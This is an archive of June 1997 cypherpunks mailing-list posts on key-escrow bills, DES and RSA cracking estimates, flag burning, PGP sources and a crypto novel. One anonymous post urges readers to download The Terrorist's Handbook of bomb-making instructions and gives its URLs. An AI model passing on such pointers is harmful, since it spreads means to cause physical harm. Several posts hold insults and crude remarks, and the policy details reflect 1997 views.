well, I presume, as coming "intention to conspire to commit what
later became a crime" laws.
  Expansion of concepts beyond their originally intended boundaries
works both ways, however, as when the citizen finally decides to
regard "Do you support the overthrow of the government by (1)force
or (2)violence?" as a multiple-choice question.
  {As a matter of fact, that would make a damn fine "poll" to put
before the American people.}

The North Poll
> The First Amendment is all we need to speak in the language of our
> choosing, including the languages of whispers, Talegu, Navajo, pig latin,
> coded signals, and 4000-bit RSA.
> 
> We don't need any "reaffirmations" of this basic right, at least not from
> Congress.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 21:38:25 +0800
To: cypherpunks@toad.com
Subject: Re: Internet knuckle-dragging from the New York Times
Message-ID: <199706251312.JAA24535@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
>  It was the New York Times, which had front-paged a scaremongering
> above-the-fold article by Christopher Wren:
>   http://www.nytimes.com/library/cyber/week/062097drug.html
> 
> Then the Boston Globe's technology reporter, Hiawatha Bray, leaped in...
> 
>  Every time a journalist
> writes a story about the seamier side of the Net, somebody complains that
> this will give outsiders the wrong idea.  Nonsense.  I think what really
> worries you is that such stories give people the RIGHT idea--that there are
> sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
> are.  And as long as there are, journalists will write about the fact.

  "And when somebody's mother gets machine-gunned in the street, we'll
send some joker with a Brownie (camera) so you'll see it all complete."
   - Frank Zappa, "I Am the Slime" (That crawls out of your TV set)

  A person unfamiliar with technology might have trouble knowing if
they have hit the correct button to switch from the "snuff-flick"
video they were watching to the news channel.
  Take pity on the Times and the Globe. After all, they have to
compete with headlines such as "I Cut Out My Baby's Heart and
Stomped On It!" (National Enquirer) for the public's hard-earned
dollars.
  As far as Bray's view that journalists know the RIGHT idea of how
things should be viewed, I would be the last one to suggest that
he is a FUCKING FASCIST JOURNA-PROPA-GANDIST who attributes RIGHT
ways of viewing an issue as a divine right of journalists.

  Most journalists are similar to lawyers, it may be their job to
take one stance/view today and another one tomorrow. If Timothy
McVeigh's actions had resulted in sweeping government changes
which led to the halting of all government abuses, then we might be
seeing stories reflecting McVeigh's regrets about the children
present. {cut to picture of Timothy playing with neighbor's
child}
  Journalists have to maintain a facade of self-importance in
order to be able to live with the fact that the eloquent expose
they have worked on for a month might get thrown in the crapper
if Elvis is spotted on the internet shortly before press time.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Wed, 25 Jun 1997 21:57:57 +0800
To: cypherpunks@cyberpass.net
Subject: NYT article on Kerrey bill (LONG)
Message-ID: <199706251343.JAA24112@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



Encryption Bill Would Restrain
Next Generation of the Internet

By PETER WAYNER

The users of the next generation of the Internet will be forced to 
turn over the keys to their
encrypted computer data to government authorities if a bill currently
before the Senate passes. 

Senator Bob Kerrey, the Nebraska Democrat who cosponsored the
measure, said in an interview Monday that the bill would require that
the authorities be able to recover such keys in the next generation
network, called Internet 2, an advanced, high-speed research project
that is being carried out in more than 100 universities across the
country. 

The bill does not mention Internet 2 specifically but simply refers to
data traveling on all networks created "with the use of Federal funds
for transaction of government business." Users of the current Internet would 
have the freedom to
choose whether to notify the authorities of the keys. 

Key recovery is a controversial proposal aimed at giving fast 
access to encrypted data to the
branches of the government responsible for law enforcement and national 
defense. These branches
worry that widely deployed, easy-to-use encryption technology will make it 
simple for criminals
and terrorists to cloak their communications and make it impossible for the 
police to use
surveillance to gather evidence. 

Others, including computer scientists, civil libertarians
and even some law enforcement officials, worry that
such a proposal would concentrate too much power in
the key recovery centers and that this makes the nation
vulnerable to both attack by terrorists and abuse by
those entrusted with the power. 

A government-approved key-recovery system, as
imagined by the bill, would be created by an organization
that would store the keys to unlock the data encrypted
by members of the organization. It could be either a
corporation, a university or a group of private citizens. 

The key recovery official for the organization, known as the "agent," 
would be responsible for
decrypting the data and providing a "plaintext" version to the police in 
response to a subpoena, a
court order, a warrant or a letter from an attorney general. The bill would 
remove the civil and
criminal liability from the agents for responding to such queries but would 
impose penalties of up to
$100,000 on those who fail to comply. 

The bill, called the Kerrey/McCain act after its sponsors, Kerrey and
John McCain, the Arizona Republican who is chairman of the
Commerce Committee, is officially known as the Secure Public
Networks Act. It would require all new federally financed networks
or computer systems to use government-approved key-recovery
technology. 

The Internet 2 is a cooperative effort involving 109 universities to
build a demonstration version of a very-high-speed Internet in order
to aid scientific research and to push the state of network technology.
Its current embodiment is financed by a mixture of grants from the
National Science Foundation and President Clinton's Next
Generation Internet initiative. 

The greatest problem facing the users of Internet 2 and other future
federally financed networks will be defining where the government
control begins and where it ends. In the interview, Kerrey admitted
that this was a challenging problem and said that the government
must be flexible in determining the answer. His legislation would
create an Information Security Board that would ultimately be
responsible for tuning the application of the law. 

"The law is written so we can get regular look-backs and decide
what's not working," he said. "We know the current law isn't right.
So let's change the law and get some good flexibility." 

The current law controls only the export of encryption technology.
People in the United States have been free to use encryption to
protect their secrets since before the days of the American
Revolution. Thomas Jefferson, for instance, dabbled in cryptography
and even personally specified the encryption system to be used by
Lewis and Clark in their expedition. 

For this reason, Senator Kerrey expects that people will challenge
the constitutionality of his bill, but he says that his office is working
hard to ensure that they get the bill right the first time. 

The law could run afoul of the First Amendment to the Constitution,
which prohibits the "abridging of the freedom of speech." Requiring
people to speak in a form that is understandable by the government
in order to participate in government-financed network might be
considered an abridgment. 

Donald Haines, legislative counsel of the American Civil Liberties Union 
said, "It's like asking:
'Can you make it illegal to commit a crime in French?' " 

A more likely challenge may come from the Second, Fourth and Fifth 
Amendments. The United
States government has treated encryption technology as munitions in order to 
control its export.
The Second Amendment, however, guarantees the right to "keep and bear arms." 

The Fourth Amendment guarantees "the right of the people to be secure in 
their persons, houses,
papers and effects, against unreasonable searches and seizures." It is not 
clear how a court would
view the requirement that a citizen disclose his or her encryption key to a
key-recovery agent in
order to participate in the next generation of the Internet. 

On one hand, the agent would act as an intermediary who would only disclose 
the data to the
government in response to a valid request. On the other, the requirement for 
disclosure before any
warrant is issued might be seen as a violation of the Fifth Amendment, which 
prohibits the
possibility that someone "be compelled in any criminal case to be a witness 
against himself." 

More obscure challenges may emerge from the Ninth and Tenth Amendments. The 
Tenth
Amendment reserves "powers not delegated to the United States by the 
Constitution" to either the
individual states or the people. 

Representative Bob Goodlatte, a Virginia Republican
and a sponsor of competing legislation in the House,
asserts that Kerrey's bill is unconstitutional and that it
amounts to a "dramatic erosion of the people's rights" to
allow access to someone's data without the oversight of
a court. He points out that Kerrey bill would allow
foreign governments to request access to anyone's files
in the United States through the office of the Attorney
General. 

To a large extent, the constitutional question may depend upon just how 
voluntary the
key-recovery process turns out to be. The current draft of the bill contains 
language that explicitly
guarantees that participation in the program is voluntary, but it then 
enumerates all the conditions
under which federal financing will make it mandatory. 

The first to feel the requirements will be universities and colleges, because 
they rely heavily on
government financing. Kerrey said he remained willing to consider any 
language that would help
give the universities the flexibility they need to continue to do research 
effectively, but added that
he remained committed to pushing key-recovery technology. 

Some members of the university community expressed doubt that any compromise 
would be
possible. Gregory A. Jackson, the associate provost of the University of 
Chicago and a member of
the Internet 2 steering committee, said that the record-keeping burden would 
be onerous and that
the gains would be to slim when measured against the cost. 

"I can understand the FBI's point," Jackson said. "There are times when we 
want access to some
communications on campus and we can't get it." 

In his work at the University of Chicago and in his previous job at the 
Massachusetts Institute of
Technology, Jackson said, he was often called on to deal with disciplinary 
problems involving
misuse of the campus networks. "We had to use different leverage over people 
on campus," he
said. "Ultimately, the FBI is probably going to reach the same conclusion." 

Besides, Jackson said, it is virtually impossible even to define what 
encryption is. While the law
requires that the key-recovery agents deliver "plaintext," it is impossible 
to control how people
speak or what data they exchange. 

He went on to predict that the Internet 2 project would find a way to migrate 
into a completely
private entity if it became necessary to avoid government regulation. 

"Even the most optimistic estimates of what the federal contribution will be 
are still a small fraction
of the costs of Internet 2," he said. "It's serious money, and its important 
for making it go forward
quickly, but it's not the lion's share." 

George Cybenko, a professor at Dartmouth, said that his use of the Internet 2 
could drop to simple
e-mail and Web browsing because of the overhead imposed by keeping track of 
the keys. 

"If someone shows up and says, 'This packet came out of your office at 4 p.m. 
What does it mean?'
it will be a nightmare," Cybenko said. 

Many of the new uses of the Internet involve packing new and different forms 
of communication into
complicated data structures. Determining the difference between data that are 
encrypted and data
that are merely unconventional is difficult and could lead to problems. 

Some Internet correspondents have predicted that the FBI will be able to find 
a Senator to add an
amendment to Kerrey's bill to make key recovery mandatory for all Americans. 
Kerrey himself
suggested that this amendment may be offered by the Judiciary committee or on 
the floor of the
Senate in coming weeks. 

On Wednesday, the Senate Judiciary committee will begin holding meetings to 
investigate the
technology. Some expect that the committee chairman, Senator Orrin Hatch, 
Republican of Utah,
will offer his own version of the legislation. 

In the House, however, a different story continues to unfold. Goodlatte has
sponsored his SAFE
legislation (Security and Freedom through Encryption) that would relax export 
controls and not
require key-recovery provisions for anyone. His bill would deal with the 
problem of criminals hiding
their actions by extending the sentences of anyone who uses encryption in 
furtherance of a felony. 

His legislation has enjoyed wide, bipartisan support. Cosponsors range from 
conservative
Republicans like Tom DeLay of Texas, to liberal Democrats like Maxine Waters 
of California. 

In the last two days, six more members of the House have signed on as 
co-sponsors, bringing the total to 131. 

Copyright 1997 The New York Times Company 

-----

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
#include <stddisclaimer.h>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Adams <jadams@seahawk.navy.mil>
Date: Wed, 25 Jun 1997 23:32:18 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <33A31B9C.F76DCB2A@netscape.com>
Message-ID: <Pine.WNT.3.96.970625101142.215G-100000@jadams.seahawk.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997, Tom Weinstein wrote:

> Igor Chudov @ home wrote:
> > 
> > Tom, are you going to release the linux version of netscape,
> > and when.
> 
> I believe we still intend to release a linux version, although it
> obviously has a lower priority than Solaris or the Mac.

Ok, I'll byte.  Why is it obvious?  

Signed, a 50-license site that uses Linux but not Solaris nor Mac.

---
John Adams -=- Computer Specialist & Network Guru  O-  NADEP Cherry Point
Pensacola Florida   +1.904.452.8551 DSN:922-8551  jadams@seahawk.navy.mil
PGP ID 0x84E18C41 via key server - opinions expressed are entirely my own





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 25 Jun 1997 23:19:26 +0800
To: cypherpunks@toad.com
Subject: Re: Comparing Cryptographic Key Sizes II
Message-ID: <199706251502.IAA17998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



There is still quite a bit of confusion about the difficulty
of factoring 512 bit moduli. I'll try to clear that up.

Adam writes:

> 
> For example, 40 bit RC4 (a symmetric key cipher) can be broken in a
> few hours with a few hundred workstations but 40 bit RSA (a public key
> cipher) can be broken in a fraction of a second on one PC. A 350 bit
> RSA key is roughly equivalent in strength to 40 bit RC4, and 512 bit
> RSA key is thought to cost roughly the same to break as a 56 bit DES
> key.
> 
> (That last comparison (DES vs 512 bit RSA) glosses over many issues.
> Here's a summary if you're interested: no one's broken a 512 RSA bit
> key yet, and you need lots of memory to break RSA at that key size, a
> PC with 128 Mb would be required to participate.  In contrast, you
> need hardly any memory to break DES, any PC will do.  The internet
> based breaking of a DES key in answer to RSA DSI's challenge involved
> many participants, and included some participants with low end 486 PCs
> with 1Mb of memory.  Theoretically 512 bit RSA could be broken more
> quickly than DES, but, as you need more memory than typical
> workstations have, a distributed internet attack with the same group
> of participants as for the DES break would clearly take longer.  There
> are a number of other factors also.)

Here's the sequence of events:

 We cracked a DES key, searching about 1/2 the keyspace. I used the
published speeds of the clients, and my own knowledge of the Pentium
processor, to estimate that this search used about 457,000 MIPS 
years.

 In his usenet note announcing the factoring of RSA-130 using GNFS,
(General Number Field Sieve) Lenstra estimates that the effort was 
about 500 MIPS years, '1/10th of the effort for RSA-129, using QS
(Quadratic Seive)'.

Bruce Schneier, in AC2, has a table giving 28,000 MIPS years as the
time to factor a 512 bit number using GNFS.

 I wrote to Lenstra, asking him how big a modulus he thought could
be factored with 1000x the power he used for RSA-130.

 Lenstra responded that that power should be able to factor a 600
bit modulus using GNFS, but that the sieving clients would need about
128 M of memory, and that the matrix problem would be 'very big' (he
did NOT say impossible).

 RSA-129 was factored using QS, on clients with as low as 8M of 
memory. In the paper "The Magic Words Are Sqeamish Ossifrage", in
which the factorization of RSA-129 using QS is described, the authors
(including Lenstra) estimate the QS could factor a 512 bit modulus
in about 500,000 MIPS years.

 I wrote to Lenstra, asking if QS could be used instead, to deal with
the memory and matrix problems. Lenstra responded to the effect that
it could.

So, to summarize:

Using GNFS, on clients with 128M of memory, you could factor a 512
bit modulus in 28,000 MIPS years. With 500,000 MIPS years, you could
factor a 600 bit modulus.

Using QS, in 500,000 MIPS years you could factor a 512 bit modulus on
machines with modest memory requirements.

The effects of memory speed and bandwidth would slow things down
somewhat.

-----------------------------
One of the things that is bothering me about the reports I've been 
seeing is 'they took 6 months to break the key using thousands of
machines.' This is inaccurate - heavy work on the DES challenge did
not start for several months after the challenge was announced, and
the number of machines grew gradually as the work was done. 

Lets crunch some numbers:

Suppose an average client can test 500,000 keys/sec (this is 
a conservative figure).

Suppose we had 18,000 clients, 24x7, 100% utilized for this work.
(there were 14,000 in DESCHALL, 3000 in SolNet, 1000 misc(last is a 
conservative guess)

That's 9x10^9 keys/sec

To search 1/2 the keyspace, we need to test 2^55 keys = 3.6x10^16 keys.

->about 4,000,000 seconds

= 46 days.
-----------------------

Peter Trei
trei@Process.com



 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Wed, 25 Jun 1997 12:17:13 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
In-Reply-To: <199706131352.GAA06683@toad.com>
Message-ID: <199706250400.MAA29802@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain



> From:          "Peter Trei" <trei@process.com>
> Organization:  Process Software
> To:            panther@writeme.com, cypherpunks@toad.com
> Date:          Fri, 13 Jun 1997 09:52:50 -6
> Subject:       Re: Flag Burning...
> Reply-to:      trei@process.com
> Cc:            trei@process.com
> Priority:      normal

> "RS" writes:
> 
> I'm curious as to why you feel the need to conceal your identity.
> 
> > When it comes down to flag burning, It really bothers me that we allow our
> > symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> > symbol of the freedom we have.  To allow someone to publicly burn a flag is
> > essentially displaying our freedom being burned.
> 
> It's a symbol, not the thing symbolized. You are confusing the map 
> with the country. 
> 
> Burning the flag is a statement by the burner that they feel that the
> symbol has become empty, and the freedom which the flag symbolizes is
> gone or has been compromised in some manner. It's clearly a form of
> political speech. True, It's a very strong statement, but strong 
> political speech has been protected by the Constitution (at least up till 
> now).
>  
> > Bush was a veteran, and Clinton was not.  I take it the ones who are
> > writing on this subject about how we should have the "freedom" to burn the
> > flag have never served in the military or for our country.   
> 
> You are mistaken - some of the people opposing your viewpoint have 
> stated that they are veterans.
> 
> > Being a veteran myself, I find it very distateful to allow anyone on our
> > soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
> > for a moment and what it really stands for.  Does it not stand for freedom
> > and liberty?
> 
> It does *stand* for freedom and liberty, but only as long those 
> values really exist. It *is* *not* freedom and libery in it's own
> right.
>  
> When what the flag symbolizes is gone, it becomes just a piece of 
> cloth. Burning this cloth draws attention to the loss. It is a dramatic
> statement, but under certain circumstances an appropriate one.
>  
> > Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
> > burn the flag unless you would like to live under another flag!
> 
> Thank you for your opinion. You are of course free to express it. And 
> I, and other thoughtful, freedom-loving Americans can oppose it.
> 
> Think about this:
> 
> Would you rather people did not burn the flag because:
> 
> 1. They'll be thrown in the slammer if they do.
> 2. The revere the values for which it stands, and will not descrate a
>    meaningful symbol of these values.
> 
> In (2), we can look at the (very rare) individuals who *do* burn the
> flag, and determine for ourselves if they have a valid point to 
> convey.  
> 
> In (1), we'll never know.
> 
> For Congress to deny the freedom to burn the flag is a desecration of what
> the flag stands for - a descration of the flag by the government itself.
> 

You Crazy Americans . . . I dont think anyone else in the world would 
give a fuck someone burnt their countries flag, certainly not in 
Australia.  What is it about your country?

My friend is a New Zealander.  When she was in school for a short 
while in America, she was beaten up for not reciting the "Pledge of 
Allegiance" in class everymorning.

Pete Nicol
Global Media Magnet
nicol@iap.net.au



BroomStick Productions
VRL - the Virtual Record Label
(+61 9) 335 9490   fax (+61 9) 335 9508
nicol@iap.net.au
broomstick@occtech.com.au

Current Project: www.iinet.com.au/~ratty/legends





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 25 Jun 1997 23:08:40 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706251451.QAA20145@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Hello,

I was told that CBS or some other station air'd a story on Sweden.
"Sweden" ( not sure who? ) stated that they had knowledge of how to enter
ANY system that was conected to the internet.  Firewalls, etc... were
useless.  Has anyone else seen /or know this and is this true? or
complete mis-information?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 25 Jun 1997 21:19:49 +0800
Subject: Re: Flag Burning...
In-Reply-To: <199706251146.EAA14923@f48.hotmail.com>
Message-ID: <Pine.LNX.3.93.970625183703.490A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, David Downey wrote:

[...]

> As to the Aussie that 
> asked what the "fuck" we Americans give about whether or not our flag is 
> burnt obviously does not understand how deep the grain of patriotism 
> runs in American blood.

As an outside odserver I see your 'patriotism' as more a combernation of
ethonocentrisum and natonisum.  I can't see how the unquestioning beleaf
in the inhernt suppority of your nation (and this is what I have see from
meany 'merkins) can be in any way healthy.

I value objectivty and free thort over patriotisum.

[...]

> In my mind it 
> shows how little value the Aussies (or at least this particular one) 
> place on their solidarity as a nation

I put little value on national solidarity,  I would prefur to have my own
idears reather then accept the unity of interests.

> and belief in their own country.

I would prefer the truth over belief.

> I place a HIGH value on my country and countrymen. (women too :-) )

I value my fellow citisons the same why I value all other peaple, by the
way thay act.
  
[...]

> Why are there so 
> many individuals from other countries killing themselves to come live 
> here, like the Cambodians, Vietnamese, Russians, and such?

Because thay are poor and beleave that in Amirica everybody is rich.  Few
come because of amiricans beleafs, or there great record of power.  Boat
peaple reguly land on our shoars and I dout that we are a powerfull nation
in you view.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>marial@cnet.com (Maria Lawrence)
Date: Mon, 30 Jun 1997 23:28:08 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: Fwd: TSS OfficeLock: Protect Office documents w/PGP (fwd)mslock20.zip - TSS OfficeLock: Protect Office documents w/PGP
Message-ID: <Pine.SUN.3.96.970630111920.17735A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



I have uploaded to Simtel.Net:

http://www.simtel.net/pub/simtelnet/win95/util/mslock20.zip
ftp://ftp.simtel.net/pub/simtelnet/win95/util/mslock20.zip   459405 bytes

mslock20.zip    TSS OfficeLock: Protect Office documents w/PGP

TSS OfficeLock v2.0 is a data security plug-in for Microsoft Office 95 &
97.  It protects files on desktop or laptop PCs, on networks, and over
the Internet.  OfficeLock automatically decrypts files when opened and
encrypts them again when they're closed.  Prevent intruders from opening
or changing your secured Word, Excel, Access, and Powerpoint files.  Uses
the unbreakable PGP data encryption engine.  32 Bit software for Win 95 &
Office 95 / 97.

Special requirements: None.

Shareware.  Uploaded on behalf of the author by Shareware.COM.

Author information:

  Dan Goodman
  Total System Solutions
  dan@officelock.com
  http://www.officelock.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 26 Jun 1997 01:26:48 +0800
To: bull@juno.com
Subject: Re: [ PGP 2.6.3 ]
In-Reply-To: <19970624.114147.7679.2.bull@juno.com>
Message-ID: <3.0.2.32.19970625082036.0075b4dc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:41 AM 6/24/97 EDT, bull@juno.com wrote:
>Can someone give me a site where I can get a compiled copy of PGP 2.6.3?

You can almost always find the PGP versions you want, as well as
other crypto, on ftp.pgp.net, which randomly picks a server in
the UK, Sweden, or other non-US locations.  One of the sites it
points to is ftp.ox.ac.uk.
You can often find things at replay.com as well.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 26 Jun 1997 00:50:14 +0800
To: cypherpunks@Algebra.COM
Subject: The Fix is In--Freeh to Brief Congressvermin
Message-ID: <v03102800afd6f8c01743@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



The push is on to undercut the remaining terrible bill, SAFE, and clear the
way for the Security for Big Brother Act of 1997. Freeh will be giving
certain congressvermin the "If you only knew what we know" classfied
briefing. Here's an excerpt from Reuters:

"Wednesday June 25 9:57 AM EDT

Clinton officials move to quash encryption bills

By Aaron Pressman

WASHINGTON - The Clinton administration this week is stepping up its campaign
to block Congressional efforts to ease strict U.S. export controls on computer
encoding technology.

A House International Relations Committee subcommittee easily approved
legislation on Tuesday to lift most of the restrictions on encryption programs,
software that scrambles information and renders if unreadable without a
password
or software "key."

Top administration officials, including Federal Bureau of Investigation
Director
Louis Freeh, will visit Capitol Hill Wednesday and Thursday to make the case
against relaxing export controls.

Freeh will testify at an open hearing in the Senate Judiciary Committee
Wednesday
and provide House lawmakers with a classified briefing on Thursday. "
                                                                      ^^^^^^^^^

(end of snipped portion)










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Silenced" <silenced@black.colossus.net (none)>
Date: Thu, 26 Jun 1997 02:39:35 +0800
To: cypherpunks@Algebra.COM
Subject: Bomb Making Info to be Illegal
Message-ID: <199706251817.LAA23297@black.colossus.net>
MIME-Version: 1.0
Content-Type: text





Soon, it may be illegal to distribute bomb making instructions.
Get your copy while you still can!

The Terrorist's Handbook is available at:
http://www.meaning.com/library/boom/thb/

The entire handbook, in HTML format, can be downloaded from:
ftp://ftp.meaning.com/pub/library/thb.tgz

DOWNLOAD A COPY WHILE YOU STILL CAN!
-silenced


>From WIRED news www.wired.com:

           Senate Votes to Block Bomb-Making Info
           by Rebecca Vesely

           12:09pm  20.Jun.97.PDT The Senate has voted 94-0 to tack onto a
           Defense Department spending bill an amendment that would
           prohibit the distribution of bomb-making instructions in the United
           States.

           Although the word "Internet" is not mentioned in the four-page
           amendment, the legislation would outlaw Web sites, newspapers,
           zines, and books that publish instructions on how to make a
           bomb - such as The Anarchist's Cookbook and The Terrorist
           Handbook. Violators would face fines and prison sentences of
           up to 20 years.

           Sponsored by Senator Dianne Feinstein (D-California), who has
           been trying to get the legislation on the books since 1995, the
           amendment passed Thursday is narrowly written to include only
           the distribution of material that has an "intent to harm."

...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 26 Jun 1997 03:25:06 +0800
To: cypherpunks@toad.com
Subject: The Right 2 Bare Arms
Message-ID: <199706251900.MAA13429@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



The unknowed soldier writes:

> What a fascinating idea! The govt. has declared code to be munitions (arms); 
> the Second Amendment guarantees the right to "keep and bear arms."

> Wish I'd thought of that.

  For some strange reason your message made me think about Tim May's
rant about laws regulating the size and method of transporting or 
carrying knives.
  Naturally, since 6" was the "standard" used in many places for
years to define the line between legal and illegal intent for
use of said "pointed instrument", I got to thinking about the
possibility of the laws being transposed to apply to another
common "pointed instrument" which is sometimes used as a tool
and at other times is used as a weapon.
  My first thought was to wonder if my 18 1/2" would automatically
make me a three-time loser and subject to lifetime imprisonment.
  My second thought was whether there would be corresponding laws
requiring the weapon to be "sheathed" in one locale and "in plain
sight" in another locale.

  Wish I hadn't thought of that.

A. Felon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Thu, 26 Jun 1997 03:23:27 +0800
To: cypherpunks@Algebra.COM
Subject: Novel Recommendation: "Black Cipher"
Message-ID: <199706251855.LAA32320@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain



(A copy of this message has also been posted to the following newsgroups:
sci.crypt, alt.cypherpunks)




I just read a fine novel, a "crypto-thriller," called "Black Cipher."
Payne Harrison, 1994. It was being remaindered at SuperCrown in hardback
for $4.99. I assume it may be out in paperback by now.

It's about a British-Pakistani cryptanalyst named Faisal Shaikh, the top
cryptanalyst at GCHQ, Cheltenham. He stumbles across a cipher he's never
seen before, using 7 letter code groups, and sets out to crack it. The
portrait of how he works, how he applies math and tricks ("cribs") to make
the cipher more amenable to computer analysis is wonderful.

(Little mention of public key cryptosystems, save for a piece of local
color where Shaikh is starting to read a new paper by Shor and Rivest! The
author clearly did his homework.)

The novel paints vivid pictures of GCHQ, and of the politics within GCHQ
and NSA, making it a wonderful complement to Bamford's drier "Puzzle
Palace." (It's apparent that Harrison has read PP, and much more, and
probably talked to several current or past GCHQ and NSA folks.) Never
having been to Cheltenham, I had no real feel for it...now I feel I've
been there.

Dramatic, too, with interesting twists. Touches of financial thriller, war
thriller, and exotic locales (including a trip to Alice Springs, a single
engine aircraft ride to Ascencion Island in the remote Atlantic, and even
a look inside the KGB equivalent of the NSA.

Several weeks ago I recommended Joseph Finder's "The Zero Hour," which
also had some crypto in it. This is even better, both as a novel and in
terms of the amount of crypto and cryptanalysis portrayed. 

(Public key cryptosystems play no significant role, and the novel repeats
the common oversight of ignoring the fact that ordinary computer networks
are perfectly fine for sending small messages with almost no chance of
either detection or decryption. A radio signal plays a key role in the
novel, a signal that could have been sent any number of ways, including by
posting in conventional code (codebook) form in any Usenet newsgroup! But
don't let this small oversight, which may have been for dramatic reasons,
stop you from reading this novel.)

The portrait of the mathematician Faisal Shaikh is compelling. 

Highly recommended.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 26 Jun 1997 05:13:05 +0800
To: tzeruch@ceddec.com
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <97Jun25.162334edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.3.89.9706251347.A5738-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



Regarding DC nets:
Modern tree structures only double the bandwidth requirement. DC nets are 
practical today. I would encourage CP's to work on implementations.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 26 Jun 1997 05:36:03 +0800
To: cypherpunks@Algebra.COM
Subject: Secret Crypto regs announcemnt
Message-ID: <Pine.3.89.9706251450.A22698-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



I found this little gem in today's MSFT press release announcing the 
banks-only certs:

"Dusche [MSFT's financial services industry manager. ed.] also said that
when an announced relaxation of U.S.  electronic-commerce export
regulations occurs this summer, the Microsoft license will be updated to
extend strong security to other financial institutions such as investment,
brokerage and insurance firms, and to make available even more secure key
lengths." http://www.microsoft.com/industry/bank/press/encryptnpr.htm

When did Commerce announce that the regs would be relaxed this Summer? To 
whom did they announce this? Cetainly not to the public, since this is 
the first time I heard about it.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Deborah Stewart <azur@netcom.com>
Date: Thu, 26 Jun 1997 06:38:37 +0800
To: "Silenced" <cypherpunks@Algebra.COM
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <199706251817.LAA23297@black.colossus.net>
Message-ID: <v03102803afd74b50dcd5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



